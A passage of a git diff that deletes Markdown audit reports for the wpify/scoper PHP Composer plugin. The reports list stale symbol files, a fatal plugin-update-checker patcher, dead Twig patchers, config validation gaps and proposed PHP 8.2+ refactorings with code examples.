bundles it at -`sources/plugin-woocommerce/packages/action-scheduler` — confirmed. So the default -`globals` list ships `action-scheduler` redundantly whenever `woocommerce` is on. - -**Impact is small**: 1.6 % of a 300 KB file, and it costs ~0.02 ms in the merge. But -it inflates the F7 needle table by 119 entries × 2, and duplicates in -`exclude-functions` are noise for anyone reading the generated config. - -**Fix:** one line in `createScoperConfig()` after the merges: - -```php -foreach ( $config as $key => $value ) { - if ( is_array( $value ) && str_starts_with( $key, 'exclude-' ) ) { - $config[ $key ] = array_values( array_unique( $value ) ); - } -} -``` - -**Benefit:** clean generated config, smaller needle table. **Downside:** none. -(The `sort`+`array_values` in F8.2 makes this redundant at the source, but keeping it -here also protects user-supplied lists once F11 lands.) - ---- - -## 5. `plugin-update-checker` (F3, F4, F5 — High) - -This is the most broken corner of the subsystem. Four independent problems: - -### F4 — `symbols/plugin-update-checker.php` is stale *and* uses the wrong key (High, S) - -The file lists 33 class names, all of the form `Puc_v4_Factory`, `Puc_v4p11_Factory`, -`Puc_v4p11_UpdateChecker`, `Puc_v4p11_Vcs_GitHubApi`, … — the flat, underscore-named -PUC **v4** API. - -The installed package is **v5.7**, which is fully namespaced: - -``` -$ grep -rh "^namespace" vendor/yahnis-elsts/plugin-update-checker --include='*.php' | sort -u -namespace YahnisElsts\PluginUpdateChecker\v5; -namespace YahnisElsts\PluginUpdateChecker\v5p7; -namespace YahnisElsts\PluginUpdateChecker\v5p7\DebugBar; -namespace YahnisElsts\PluginUpdateChecker\v5p7\Plugin; -namespace YahnisElsts\PluginUpdateChecker\v5p7\Theme; -namespace YahnisElsts\PluginUpdateChecker\v5p7\Vcs; - -$ ls vendor/yahnis-elsts/plugin-update-checker/Puc/ -v5 v5p7 -``` - -Running my ground-truth extractor over the installed package: **0 global classes, -0 global functions, 6 namespaces**. Every one of the 33 shipped names is dead. - -Worse, the file uses `'expose-classes'`, while every other symbol file uses -`'exclude-classes'`. These are opposite operations in php-scoper: *expose* means -"prefix it, then register a global alias"; *exclude* means "don't prefix it at all". -Nothing else in this repo reads `expose-classes` (grep: only this file). - -And it would not work even if the names were right: `scripts/postinstall.php` -explicitly strips the exposure aliases from the generated autoloader — - -```php -// fix scoper autoload - comment exposed classes and functions as we don't want to expose anything -$scoper_autoload = preg_replace('/^humbug_phpscoper_expose_.*;$/m', '// $0 // commented by WPify Scoper', $scoper_autoload ); -``` - -So `expose-*` is a no-op by design in this tool. - -Finally, the regeneration line is commented out at `scripts/extract-symbols.php:153`: - -```php -//extract_symbols( __DIR__ . '/../vendor/yahnis-elsts/plugin-update-checker', 'vendor', … ); -``` - -which is why it never picked up the v4 → v5 migration. - -**Fix:** either (a) uncomment `:153`, switch the emitted key to `exclude-namespaces` -(which is what the v5 extraction naturally produces), and regenerate; or (b) delete -`symbols/plugin-update-checker.php`, the branch at `src/Plugin.php:230-235`, and the -two patchers, and let users add PUC through the extensibility mechanism in F11. - -I'd recommend **(b)**. PUC is one vendor library among thousands; special-casing it -in a general-purpose tool is exactly the coupling F11 exists to remove. Note also -that excluding PUC entirely is usually *wrong* — two plugins shipping unscoped PUC v5 -is the collision PUC's own `v5p7` namespace versioning already solves. - -### F3 — the PUC patchers are stale and one is actively fatal (High, S) - -`config/scoper.inc.php:48-50`: - -```php -if ( strpos( $filePath, 'yahnis-elsts/plugin-update-checker/Puc/v4p11/UpdateChecker.php' ) !== false ) { - $content = str_replace( "namespace $prefix;", "namespace $prefix;\n\nuse WP_Error;", $content ); -} -``` - -`Puc/v4p11/` **does not exist** (`ls` → `No such file or directory`). Dead no-op. -It is also no longer needed: `Puc/v5p7/UpdateChecker.php:5` already declares -`use WP_Error;`. - -`config/scoper.inc.php:75-77` is worse: - -```php -if ( strpos( $filePath, 'yahnis-elsts/plugin-update-checker' ) !== false ) { - $content = str_replace( '$checkerClass = $type', '$checkerClass = "'. $prefix . '\\\\".$type', $content ); -} -``` - -The file guard is version-agnostic, so it **still fires on v5.7**. In -`Puc/v5p7/PucFactory.php:99` the source is: - -```php -$checkerClass = $type . '\\UpdateChecker'; -``` - -`'$checkerClass = $type'` is a prefix of that line, so `str_replace` rewrites it to: - -```php -$checkerClass = "MyPrefix\\".$type . '\\UpdateChecker'; // "MyPrefix\Plugin\UpdateChecker" -``` - -Two lines later (`:106`) the value is fed to `getCompatibleClassVersion()`: - -```php -protected static function getCompatibleClassVersion($class) { // :286 - if ( isset(self::$classVersions[$class][self::$latestCompatibleVersion]) ) { - return self::$classVersions[$class][self::$latestCompatibleVersion]; - } - return null; -} -``` - -`self::$classVersions` is keyed by the **unprefixed, unversioned** general class name -registered from `load-v5p7.php:29` via `PucFactory::addVersion($pucGeneralClass, …)` -(i.e. `Plugin\UpdateChecker`). `MyPrefix\Plugin\UpdateChecker` is not a key → -`getCompatibleClassVersion()` returns `null` → `:107-118` fires -`trigger_error( …, E_USER_ERROR )`, which is **fatal**. - -So a user who scopes PUC v5 today gets a hard fatal from `PucFactory::buildUpdateChecker()`. - -**Fix:** delete both PUC patchers (`:48-50` and `:75-77`). The v4 one is dead; the v5 -one is harmful. **Benefit:** removes a fatal. **Downside:** anyone still on PUC v4 -loses the `$checkerClass` fix — acceptable, v4 is years EOL and the current lists -already don't work for them. - -### F5 — `globals: ["plugin-update-checker"]` crashes (Medium, S) - -`src/Plugin.php:230-235` merges `plugin-update-checker.php` into `$config`. That file -contributes only `expose-classes`, so if it is the *only* selected global, `$config` -has no `exclude-classes` key. `config/scoper.inc.php:79` then does: - -```php -usort( $config['exclude-classes'], … ); -``` - -Reproduced: - -``` -keys: prefix, exclude-constants, expose-classes -FATAL at scoper.inc.php:79 => TypeError: usort(): Argument #1 ($array) must be of type array, null given -``` - -`:95` (`$config['exclude-namespaces']`) has the same problem. - -Note this combination is not reachable from the documented config: `plugin-update-checker` -is **not** in the default `globals` at `src/Plugin.php:60` -(`array( 'wordpress', 'woocommerce', 'action-scheduler', 'wp-cli' )`) and is not -listed in the README's example — yet `createScoperConfig()` handles it. So the only -way to reach it is to guess the name, and doing so fatals. - -**Fix:** default the keys at the top of `scoper.inc.php`: - -```php -$config += array( - 'exclude-classes' => array(), - 'exclude-namespaces' => array(), - 'exclude-functions' => array(), - 'exclude-constants' => array(), -); -``` - -**Benefit:** fail-safe for any `globals` subset, and required once F11 lets users -supply arbitrary lists. **Downside:** none. - ---- - -## 6. `config/scoper.inc.php` patchers — status of each (F9, F15) - -Verified against the current upstream source of each package: - -| # | line | target | status | -|---|---|---|---| -| 1 | `:40-42` | `guzzlehttp/guzzle/.../CurlFactory.php` — `stream_for($sink)` → `Utils::streamFor()` | **Dead no-op.** Guzzle 7 already has `$sink = \GuzzleHttp\Psr7\Utils::streamFor($sink);`. The literal `stream_for($sink)` no longer exists. Also note the replacement **drops the `$sink` argument** — if it ever did match, it would produce broken code. | -| 2 | `:44-46` | `php-di/php-di/src/Compiler/Template.php` — strip `namespace $prefix;` | **Still required.** The upstream file is a PHP *template* with no namespace of its own; php-scoper injects one and breaks compiled-container generation. Keep. | -| 3 | `:48-50` | PUC `Puc/v4p11/UpdateChecker.php` — add `use WP_Error;` | **Dead no-op** (path gone; v5p7 already imports it). Delete — see F3. | -| 4 | `:52-55` | `twig/src/Node/ModuleNode.php` | **Half live.** Line `:53` (`write("use Twig` → `write("use {$prefix}\Twig`) is **still needed** — upstream `ModuleNode::compileClassHeader()` emits `->write("use Twig\Environment;\n")` etc. as *string literals* php-scoper cannot see into. Line `:54` injects `use function {$prefix}\twig_escape_filter;` — **dead and wrong**, see below. | -| 5 | `:57-65` | `/vendor/twig/twig/` — `twig_escape_filter_is_safe`, `twig_get_attribute(`, `twig_ensure_traversable(`, `new TwigFilter('x','twig_…')`, `$compiler->raw('twig_…(` | **Dead.** See F9. | -| 6 | `:67-69` | `giggsey/libphonenumber-for-php` — un-prefix `array_merge` | Plausible no-op; `expose-global-functions => false` means php-scoper shouldn't prefix internal functions anyway. Not verified against current upstream — flag for follow-up. | -| 7 | `:71-73` | `league/oauth2-client` — prefix the literal `League\OAuth2\Client\Grant` | **Still required.** `GrantFactory::registerDefaultGrant()` builds `$class = 'League\\OAuth2\\Client\\Grant\\' . $class;` as a string literal. Keep. | -| 8 | `:75-77` | PUC — `$checkerClass = $type` | **Actively fatal on v5.** Delete — see F3. | - -### F9 — the Twig `twig_*` patchers target removed functions (Medium, S) - -Twig 3.x moved every `twig_*` global function to static methods and registers filters -with array callables. Verified against `twigphp/Twig` `3.x`: - -- `src/Node/ModuleNode.php` contains **no** reference to `twig_escape_filter`, - `twig_escape_filter_is_safe`, `twig_get_attribute` or `twig_ensure_traversable`. -- `src/Extension/CoreExtension.php` contains **none of those functions** either, and - registers filters as `new TwigFilter('format', [self::class, 'sprintf'])` / - `new TwigFilter('url_encode', [self::class, 'urlencode'])` — array callables, never - `new TwigFilter('x', 'twig_…')` string callbacks. - -So: - -- `:54` injects `use function {$prefix}\twig_escape_filter;` into every compiled - template header for a function that does not exist. Harmless only because a - `use function` for a missing function is not itself an error — but it is noise - written into generated code, and the `'Template;\n\n'` anchor no longer matches - upstream's `use Twig\Template;\n` / `use Twig\TemplateWrapper;\n` sequence anyway. -- `:58`, `:59`, `:60`, `:61`, `:62` are all no-ops on Twig 3.x. -- `:63-64` (`'\\Twig\\` → `'\\{$prefix}\\Twig\\`) remains relevant for string-literal - class references and should be kept. - -**Fix:** delete `:54` and `:58-62`; keep `:53` and `:63-64`. **Benefit:** removes -six regex/`str_replace` passes per Twig file and stops injecting a bogus import. -**Downside:** breaks Twig 2.x / Twig <3.9 users — acceptable; Twig 2 is EOL. - -### Design: should a general-purpose tool hardcode a per-package patcher list? - -No. `config/scoper.inc.php:39-106` is a single 68-line closure with eight hardcoded -`strpos($filePath, 'vendor/foo/bar')` branches for packages that have nothing to do -with WordPress. Every one of them is dead weight for a user who doesn't use that -package, and — as F3 shows — a stale branch can go from "harmless" to "fatal" when -the target package changes shape, with nobody noticing because there is no test and -no version guard. - -There *is* an extension point (`config/scoper.custom.php` via -`customize_php_scoper_config()`, `:7-17`), but it is all-or-nothing: a user who wants -to add one patcher receives the whole config array and must merge by hand. - -**Proposal (Effort: M):** a patcher registry keyed by package name, with an optional -version constraint: - -``` -config/patchers/ - php-di.php - twig.php - league-oauth2-client.php - libphonenumber.php -``` - -Each returns: - -```php -return array( - 'package' => 'php-di/php-di', - 'constraint' => '^7.0', // checked against composer.lock - 'patch' => function ( string $filePath, string $prefix, string $content ): string { … }, -); -``` - -`scoper.inc.php` globs `config/patchers/*.php` plus a user-supplied -`extra.wpify-scoper.patchers` directory, resolves each `package` against the scoped -`composer.lock`, and only registers patchers whose package is actually installed and -whose constraint matches. **Benefits:** dead patchers cost nothing at runtime and -become visible (a constraint mismatch can warn); users add their own without forking; -each patcher is independently testable. **Downside:** more moving parts than a single -closure; needs a lock-file read. **Note:** F1 and F7 apply to the generic -un-prefixing block, which stays where it is — it is not a per-package patcher. - ---- - -## 7. `config/scoper.config.php` (F16, Low, S) - -```php - 'WordPressDeps', - 'source' => getcwd() . '/vendor-source/', - 'destination' => getcwd() . '/vendor-scoped/', -); -``` - -All three keys are unconditionally overwritten in -`Plugin::createScoperConfig()` (`src/Plugin.php:218-220`) before the file is -re-emitted to the temp dir at `:263`. The shipped values are never used: -`'WordPressDeps'` is not the documented default prefix (there is none — -`src/Plugin.php:59` sets `'prefix' => null` and `execute()` no-ops when it's empty), -and `vendor-source/` / `vendor-scoped/` appear nowhere else in the repo or README. - -So the file's only real function is to be a valid array that `require_once` returns -at `:212`. It is misleading dead configuration: a reader reasonably concludes -`WordPressDeps` is the fallback prefix, and it isn't. - -**Fix:** either delete the file and inline -`$config = array( 'exclude-constants' => array( 'NULL', 'TRUE', 'FALSE' ) );` at -`src/Plugin.php:212`, or keep it as the single place where **genuine** php-scoper -defaults live (the `expose-global-*` flags currently hardcoded at -`config/scoper.inc.php:108-110` are a better fit) and drop the three phantom keys. -I'd keep the file for the second purpose — it gives users one obvious place to look. - -**Benefit:** removes a false lead. **Downside:** none. - -### F17 — `require_once` returns `true` on a second call → silent `exit` (Low, S) - -`src/Plugin.php:212-216`: - -```php -$config = require_once $config_path; - -if ( ! is_array( $config ) ) { - exit; -} -``` - -`require_once` returns `true` (not the array) if the file was already included in -this process. `execute()` is subscribed to both `POST_INSTALL_CMD` and -`POST_UPDATE_CMD` (`:44-49`), so a second invocation in one process would hit the -bare `exit` — no message, no exit code, no diagnostics. Same pattern at -`config/scoper.inc.php:5`. - -**Fix:** use `require` (not `require_once`), and replace the bare `exit` with a -thrown exception or `$this->io->writeError()` + `exit(1)`. - ---- - -## 8. Extensibility (F11, Medium, M) - -Today the only lever is `extra.wpify-scoper.globals`, and its values must come from a -hardcoded set of five, matched by an if-chain in `Plugin::createScoperConfig()` -(`src/Plugin.php:223-256`). There is: - -- no way to supply your own symbol file; -- no way to add symbols for other WP-ecosystem packages a project depends on - (ACF, Elementor, Yoast, Gravity Forms, EDD, Polylang, WPML …); -- no validation — an unknown value in `globals` is silently ignored, so a typo like - `"woo-commerce"` disables WooCommerce exclusions with no warning and produces a - build that fatals at runtime; -- an undocumented sixth value (`plugin-update-checker`) that crashes if used alone - (F5). - -The if-chain is also five near-identical blocks — a textbook case for a map. - -**Proposal:** - -**Step 1 (S) — replace the if-chain with a provider map.** In `Plugin`: - -```php -private const BUNDLED_SYMBOLS = array( - 'action-scheduler' => 'action-scheduler.php', - 'plugin-update-checker' => 'plugin-update-checker.php', - 'woocommerce' => 'woocommerce.php', - 'wordpress' => 'wordpress.php', - 'wp-cli' => 'wp-cli.php', -); -``` - -and iterate `$this->globals`, warning via `$this->io` on an unknown key. Immediately -fixes the silent-typo failure mode and deletes 30 lines. - -**Step 2 (S) — accept user-supplied symbol files.** A new key: - -```json -{ - "extra": { - "wpify-scoper": { - "globals": ["wordpress", "woocommerce"], - "symbols": [ - "symbols/acf.php", - "vendor/acme/wp-symbols/elementor.php" - ] - } - } -} -``` - -Each path is resolved relative to `getcwd()`, `require`d, validated to be an array -whose keys are all `exclude-*`/`expose-*`, and merged with the same -`array_merge_recursive` + de-dupe as the bundled ones. ~20 lines. - -**Step 3 (M) — make the extractor reusable.** `scripts/extract-symbols.php` is -currently a script with four hardcoded `extract_symbols(...)` calls at `:151-155`. -Extract the collector into `src/SymbolExtractor.php` and expose a composer command -(the plugin already implements `CommandProvider`): - -``` -composer wpify-scoper extract-symbols --from=wp-content/plugins/advanced-custom-fields --to=symbols/acf.php -``` - -Now a user with a proprietary or niche must-not-scope plugin generates their own list -with the same tool, no fork required — and the maintainers' own regeneration becomes -four invocations of a supported command rather than a script nobody else can use. - -**Benefit:** the tool stops being WordPress-plus-four-hardcoded-plugins and becomes a -WordPress scoper with a symbol-list mechanism. **Downside:** a public command and -config key to keep stable; user-supplied files are `require`d, so document that they -must be trusted (no worse than `scoper.custom.php`, which is also `require`d). - ---- - -## Recommended order - -1. **F1** — anchor the patcher replacement (silent runtime fatals, scales with usage). -2. **F3 + F4** — delete the PUC patchers and the stale symbol file (fatal today). -3. **F2 + F6 + F10 + F14** — one `SymbolCollector` visitor; regenerate. -4. **F5** — default the `exclude-*` keys in `scoper.inc.php`. -5. **F8.2** — sort + reindex the export (unlocks reviewable diffs for everything after). -6. **F7 + F20** — hoist the needle table; de-dupe the merge. -7. **F9 + F15** — prune the dead Twig and Guzzle patchers. -8. **F8.1/8.3/8.4** — provenance header, pinned sources, CI regeneration. -9. **F11** — provider map → user symbol files → `extract-symbols` command. -10. **F16 + F17 + F18 + F19** — cleanups. - -Steps 1–4 are all severity-High or their direct prerequisites and are each S effort. - ---- - -## Reproducing the measurements - -Scripts written to -`/private/tmp/claude-503/-Users-wpify-projects-scoper/a8a9361a-6f4f-45a7-9ff3-d48b90efa403/scratchpad/`: - -| script | what it measures | -|---|---| -| `analyze.php` | parse failures at PHP 8.1.0 vs 8.4.0 (F19) | -| `missed.php` | production `resolve()` vs full-AST ground truth (F2, F6, F12, F13, F14) | -| `chain.php` | AST enclosing chain for each missed symbol (F2) | -| `tests.php` | test-directory symbol contamination (F18) | -| `overlap.php` | cross-list duplication, redundant namespaces, merged config size (F20) | -| `bench.php` | require/merge/`var_export` timings, patcher cost (F7) | -| `formats.php` | PHP vs JSON load cost and on-disk size (§3) | - -Nothing under `symbols/`, `src/`, `config/` or `scripts/` was modified. diff --git a/docs/improvements/04-quality-tooling-dx.md b/docs/improvements/04-quality-tooling-dx.md deleted file mode 100644 index bfb1fd3..0000000 --- a/docs/improvements/04-quality-tooling-dx.md +++ /dev/null @@ -1,950 +0,0 @@ -# 04 — Code Quality, Testability, Project Hygiene & DX - -**Audit date:** 2026-07-27 -**Scope:** `src/Plugin.php`, `scripts/*.php`, `bin/wpify-scoper`, `config/*.php`, `composer.json`, `README.md`, `.gitignore`, git history/tags. -**Excluded:** `sources/`, `vendor/` (both git-ignored, never shipped). -**Latest tag:** `3.2.21` (2025-05-07), 1 commit on `master` since. - ---- - -## 0. Executive summary - -| # | Finding | Severity | Effort | -|---|---------|----------|--------| -| 1 | `require: php ^8.1` is unsatisfiable — `wpify/php-scoper` requires `^8.2` | **critical** | S | -| 2 | Missing/invalid `prefix` silently does nothing (`Plugin.php:127`) | **critical** | S | -| 3 | Zero tests, zero CI — every release is hand-verified | **high** | L | -| 4 | `exit;` inside library code (`Plugin.php:215`) — no message, kills host process | **high** | S | -| 5 | `getCapabilities()` is dead code and would fatal if ever called (`Plugin.php:104`) | **high** | S | -| 6 | `*_NO_DEV_CMD` constants are unreachable — dead feature (`Plugin.php:19,21`) | **medium** | S | -| 7 | `createPath(..., true)` vendor-dir detection is string-matching (`Plugin.php:269`) | **high** | S | -| 8 | Empty `globals` produces undefined-key TypeError in `config/scoper.inc.php:79` | **high** | S | -| 9 | PHP 5-era style throughout `Plugin.php` (no strict_types, no types, `array()`) | **medium** | M | -| 10 | 306-line god class — 7 distinct responsibilities | **medium** | M | -| 11 | No PHPStan / no CS config / no `.editorconfig` | **medium** | M | -| 12 | No `.gitattributes` `export-ignore` (smaller problem than it looks — see §7) | **low** | S | -| 13 | No CHANGELOG, no release notes, README "Requirements" stale at 3.2 | **medium** | S | -| 14 | README has no failure/troubleshooting/`scoper.custom.php` discovery docs | **medium** | M | - -Two findings are worth correcting up front relative to common assumptions: - -* **`sources/` and `vendor/` do not ship.** They are git-ignored and untracked. `git ls-files` returns exactly 14 files. The `.gitattributes` gap is therefore a *minor* hygiene issue, not a payload problem (§7). -* **A dependency's `repositories` and `require-dev` are ignored by Composer.** Verified against the docs — the `wpackagist.org` repository and the WordPress/WooCommerce dev requirements in the published `composer.json` have **zero** effect on consumers (§7). - ---- - -## 1. PHP baseline & modern PHP usage - -### 1.1 The supported-version window - -Verified at (fetched 2026-07-27): - -| Branch | Active support until | Security support until | Status on 2026-07-27 | -|--------|---------------------|------------------------|----------------------| -| 8.2 | 2024-12-31 | **2026-12-31** | security-only, EOL in ~5 months | -| 8.3 | 2025-12-31 | 2027-12-31 | security-only | -| 8.4 | 2026-12-31 | 2028-12-31 | **active** | -| 8.5 | 2027-12-31 | 2029-12-31 | **active** | - -Intersected with `wpify/php-scoper` (`vendor/wpify/php-scoper/composer.json` → `"php": "^8.2"`): - -> **Supported window = PHP 8.2 – 8.5, with 8.2 dropping out on 2026-12-31.** - -### 1.2 CRITICAL — `composer.json:31` declares an unsatisfiable constraint - -`composer.json:31` says `"php": "^8.1"` but `wpify/php-scoper` requires `^8.2`. - -On PHP 8.1 a consumer gets a resolver error naming a *transitive* package rather than a clear "wpify/scoper needs PHP 8.2" message. The declared constraint is a lie that only surfaces as a confusing failure. - -* **Fix:** `"php": "^8.2"` today; plan `"php": ">=8.3"` for the next major after 2026-12-31. -* **Benefit:** honest resolution, correct error message, and it unlocks every 8.2 language feature below. -* **Downside:** consumers still on 8.1 can no longer `composer require` — but they cannot install today either, so nothing real is lost. -* **Severity: critical. Effort: S.** - -### 1.3 What changes under an 8.2+ baseline - -`src/Plugin.php` is written in a PHP 5.x dialect. Concretely: - -| Location | Current | 8.2+ | -|---|---|---| -| top of file | no `declare(strict_types=1)` | add it | -| `Plugin.php:23-24` | `protected $composer; protected $io;` | typed `private readonly` promoted properties | -| `Plugin.php:26-42` | `/** @var string */ private $folder;` ×6 | typed properties, or replaced by a `Configuration` object (§2) | -| `Plugin.php:18-21` | four `const` strings used as a pseudo-enum | `enum ScoperCommand: string` | -| `Plugin.php:159-195` | 5 sequential `if`/`===` chains over `$event->getName()` | one `match` on the enum | -| `Plugin.php:45,56,105,137,296` | `array(...)` | `[...]` | -| `Plugin.php:44,51,98,101,104,110,116` | no return types | `void`, `array`, `string`, `never` | -| `Plugin.php:201,268,278,284,290` | no return types on private methods | `string`, `void` | -| `Plugin.php:215` | `exit;` | throw; the throwing helper gets `: never` | -| `Plugin.php:44,51,98,101` | interface methods unmarked | `#[\Override]` | -| `Plugin.php:223-256` | five near-identical `in_array` blocks | `array_intersect` + loop, or first-class callable pipeline | - -#### Before / after — the highest-value three - -**(a) The command pseudo-enum → real enum + `match`.** This kills 30 lines of repeated string comparison at `Plugin.php:159-195` and makes the `no-dev` variants reachable (§3.3). - -*Before* (`Plugin.php:159-195`, condensed): - -```php -$scriptName = $event->getName(); -if ( $event->getName() === self::SCOPER_UPDATE_CMD || $event->getName() === self::SCOPER_UPDATE_NO_DEV_CMD ) { - $scriptName = ScriptEvents::POST_UPDATE_CMD; -} -if ( $event->getName() === self::SCOPER_INSTALL_CMD || $event->getName() === self::SCOPER_INSTALL_NO_DEV_CMD ) { - $scriptName = ScriptEvents::POST_INSTALL_CMD; -} -// ... -$command = 'install'; -if ( $event->getName() === ScriptEvents::POST_UPDATE_CMD || $event->getName() === self::SCOPER_UPDATE_CMD || $event->getName() === self::SCOPER_UPDATE_NO_DEV_CMD ) { - $command = 'update'; -} -$useDevDependencies = true; -if ( $event->getName() === self::SCOPER_UPDATE_NO_DEV_CMD || $event->getName() === self::SCOPER_INSTALL_NO_DEV_CMD ) { - $useDevDependencies = false; -} -``` - -*After:* - -```php -enum ScoperCommand: string { - case Install = 'scoper-install-cmd'; - case InstallNoDev = 'scoper-install-no-dev-cmd'; - case Update = 'scoper-update-cmd'; - case UpdateNoDev = 'scoper-update-no-dev-cmd'; - case PostInstall = ScriptEvents::POST_INSTALL_CMD; // 'post-install-cmd' - case PostUpdate = ScriptEvents::POST_UPDATE_CMD; // 'post-update-cmd' - - public function composerCommand(): string { - return match ( $this ) { - self::Update, self::UpdateNoDev, self::PostUpdate => 'update', - default => 'install', - }; - } - - public function scriptHook(): string { - return match ( $this ) { - self::Update, self::UpdateNoDev, self::PostUpdate => ScriptEvents::POST_UPDATE_CMD, - default => ScriptEvents::POST_INSTALL_CMD, - }; - } - - public function withDev(): bool { - return ! in_array( $this, [ self::InstallNoDev, self::UpdateNoDev ], true ); - } -} -``` - -Call site becomes three lines. Adding a fifth command now fails loudly at every `match` instead of silently falling through to `install`. - -* **Benefit:** the three derived values become total functions of one input — trivially unit-testable with a data provider, no filesystem needed. This is the single best testability win in the file. -* **Downside:** `ScoperCommand::from()` throws on an unknown event name; use `tryFrom()` + early return at the boundary. -* **Severity: medium. Effort: S.** - -**(b) Constructor promotion + readonly + strict types.** - -*Before* (`Plugin.php:16-42`, `51-96`): 20 lines of untyped property declarations, then six `$this->x = $configValues['x']` assignments at the bottom of `activate()`. - -*After:* - -```php -config = Configuration::fromExtra( - $composer->getPackage()->getExtra()['wpify-scoper'] ?? [], - getcwd(), - ); - } -``` - -with the six scalars living on an immutable value object: - -```php -final readonly class Configuration { - public function __construct( - public string $prefix, - public string $folder, - public string $tempDir, - public string $composerJson, - public string $composerLock, - /** @var list */ public array $globals, - public bool $autorun, - ) {} -} -``` - -* **Benefit:** `readonly` makes it impossible for a future patcher to mutate `$prefix` mid-run; `strict_types` turns "`prefix` was accidentally an int" into an immediate TypeError instead of an odd namespace. -* **Downside:** `Plugin` still needs `?Configuration` nullable because Composer's `PluginInterface` mandates a no-arg constructor — accept the one nullable field, fail fast on it in `execute()`. -* **Severity: medium. Effort: S–M.** - -**(c) `exit;` → typed exception with `: never`.** See §3.4. - -**(d) Lower-value but free:** `array()` → `[]` (mechanical, do it in the same commit as CS tooling so the diff is one reviewable blob); `#[\Override]` on `activate`/`deactivate`/`uninstall`/`getSubscribedEvents`; `str_contains()` instead of `strpos(...) !== false` in `config/scoper.inc.php:40,44,48,52,57,67,71,75`. - -**Named arguments / first-class callables:** genuinely low value here. `$application->run(new ArrayInput([...]), $output)` has two params; `$this->path(...)` is variadic. Do not force them in — that would be change for its own sake. - ---- - -## 2. Architecture / SOLID - -`src/Plugin.php` is 306 lines doing seven jobs: - -| Lines | Responsibility | -|---|---| -| 51-96 | config parsing + defaulting | -| 110-114 | path normalisation | -| 148-157 | template rendering (`str_replace` on `postinstall.php`) | -| 201-266 | scoper-config assembly + symbol merging | -| 268-282 | vendor-dir detection + `mkdir` | -| 284-288 | JSON writing | -| 290-305 | nested Composer process invocation | - -### 2.1 Recommended decomposition (what is actually worth extracting) - -Applying **YAGNI > speculative SOLID** and **Rule of Three** — here is the honest split. - -#### ✅ EXTRACT — `Configuration` (value object + factory + validation) - -```php -final readonly class Configuration { - public static function fromExtra( array $extra, string $cwd ): self; // throws ConfigurationException - // public promoted props: prefix, folder, tempDir, composerJson, composerLock, globals, autorun -} -``` - -* **Why:** it is pure (array in, object out), it is where the two critical bugs live (§3), and it is 100 % unit-testable with no filesystem. Highest value-per-line in the whole refactor. -* **Effort: S.** - -#### ✅ EXTRACT — `ScoperConfigFactory` - -```php -final class ScoperConfigFactory { - public function __construct( private readonly string $symbolsDir, private readonly string $packageRoot ) {} - /** @return array */ - public function build( Configuration $config, string $source, string $destination ): array; -} -``` - -Replaces `Plugin.php:201-266`. Note it should return the **array**, and a separate one-line caller writes it — that keeps the merge logic pure and testable while the write stays trivial. - -* **Why:** the `array_merge_recursive` symbol merging (`Plugin.php:223-256`) is real logic with a real bug class (order-dependence, duplicate accumulation), and it is exactly what a golden-file test should pin. -* **Effort: S–M.** - -#### ✅ EXTRACT — `ComposerRunner` - -```php -interface ComposerRunner { public function run( string $workingDir, string $command, bool $withDev ): int; } -final class ApplicationComposerRunner implements ComposerRunner { /* current Plugin::runInstall body */ } -``` - -* **Why:** this is the *one* place where an interface is justified today, because there is a concrete second implementation needed **now** — the test double. `new Application()` inline (`Plugin.php:292`) makes `execute()` permanently untestable (§4.3). One real caller + one real test caller = not speculative. -* **Effort: S.** - -#### ⚠️ MAYBE — `SymbolsRegistry` - -Only if the `if ( in_array( 'x', $globals ) ) { merge symbols/x.php }` block (`Plugin.php:223-256`) grows past its current five entries, or if the "unknown global name" validation (§3.2) needs a canonical list. A `SymbolsRegistry` that just does `glob(symbols/*.php)` and maps basename → path is ~15 lines and removes the hardcoded five-way repetition. Worth it as part of the `ScoperConfigFactory` extraction, **not** as its own class with an interface. - -* **Verdict:** fold into `ScoperConfigFactory` as a private method. Rule of Three says five repetitions justify the loop; it does not justify a new type. - -#### ❌ YAGNI — `TempWorkspace` - -The temp-dir lifecycle is currently: create three dirs (`Plugin.php:208-210`), and delete them from `scripts/postinstall.php:67`. A `TempWorkspace` class would be a 20-line wrapper over `mkdir`. It only earns its keep if you also fix the real problem — that cleanup lives in a *generated child-process script*, so a failure anywhere leaves `tmp-XXXXXXXXXX/` orphaned in the project root. If you do fix that (a `try/finally` in `execute()`), then `TempWorkspace` with `create()`/`path()`/`destroy()` becomes justified. Otherwise skip. - -* **Verdict:** extract **only together with** the cleanup fix. Do not add the class alone. - -#### ❌ YAGNI — `PostInstallProcessor` - -The template rendering at `Plugin.php:148-157` is 10 lines of `str_replace`. Wrapping it in a class buys nothing today. What *is* worth doing is replacing the 7 chained `str_replace` calls with a single `strtr()` and a `%%key%%` map — 3 lines, same behaviour, and it makes "did every placeholder get substituted?" checkable: - -```php -$replacements = [ - '%%source%%' => $source, - '%%destination%%' => $destination, - '%%cwd%%' => $cwd, - '%%composer_lock%%' => $config->composerLock, - '%%deps%%' => $config->folder, - '%%temp%%' => $config->tempDir, - '%%prefix%%' => $config->prefix, -]; -$rendered = strtr( $template, $replacements ); -if ( str_contains( $rendered, '%%' ) ) { throw new \LogicException( 'Unsubstituted placeholder in postinstall template' ); } -``` - -* **Verdict:** inline improvement, no new class. **Effort: S.** - -#### ❌ YAGNI — a `Filesystem` abstraction - -`createFolder`/`createJson`/`path` are three trivial helpers. Composer already ships `Composer\Util\Filesystem` — use that instead of writing your own if you want the abstraction (`normalizePath`, `ensureDirectoryExists`, `removeDirectory` all exist and are better than the hand-rolled versions, including `scripts/postinstall.php`'s recursive `remove()`). - -* **Verdict:** delete `createFolder`/`path` in favour of `Composer\Util\Filesystem`. Composition over inheritance, zero new types, and it fixes the `//`-collapsing hack at `Plugin.php:113` which only collapses *doubled* separators, not `a/b/../c`. - -### 2.2 Resulting shape - -``` -Plugin (~70 lines) — Composer wiring only: activate() → Configuration, execute() → orchestration -Configuration (~60 lines) — validated readonly VO + fromExtra() factory -ScoperCommand (~30 lines) — enum + 3 match-based accessors -ScoperConfigFactory (~70 lines) — symbol merging + scoper config assembly -ComposerRunner (~25 lines) — interface + Application-backed impl -``` - -Roughly the same total LOC, but with three fully-unit-testable pure units and one seam. **Do not** go further than this — the remaining `Plugin::execute()` orchestration is genuinely procedural and splitting it more would trade readability for a class count. - -* **Severity: medium. Effort: M** (a focused 1–2 day refactor, best done *after* characterisation tests exist — see §4.5). - ---- - -## 3. Config validation - -### 3.1 CRITICAL — missing `prefix` silently does nothing - -`Plugin.php:127`: `if ( ! empty( $this->prefix ) ) { …everything… }`. - -If `extra.wpify-scoper.prefix` is absent, misspelled (`prefixe`), empty, or 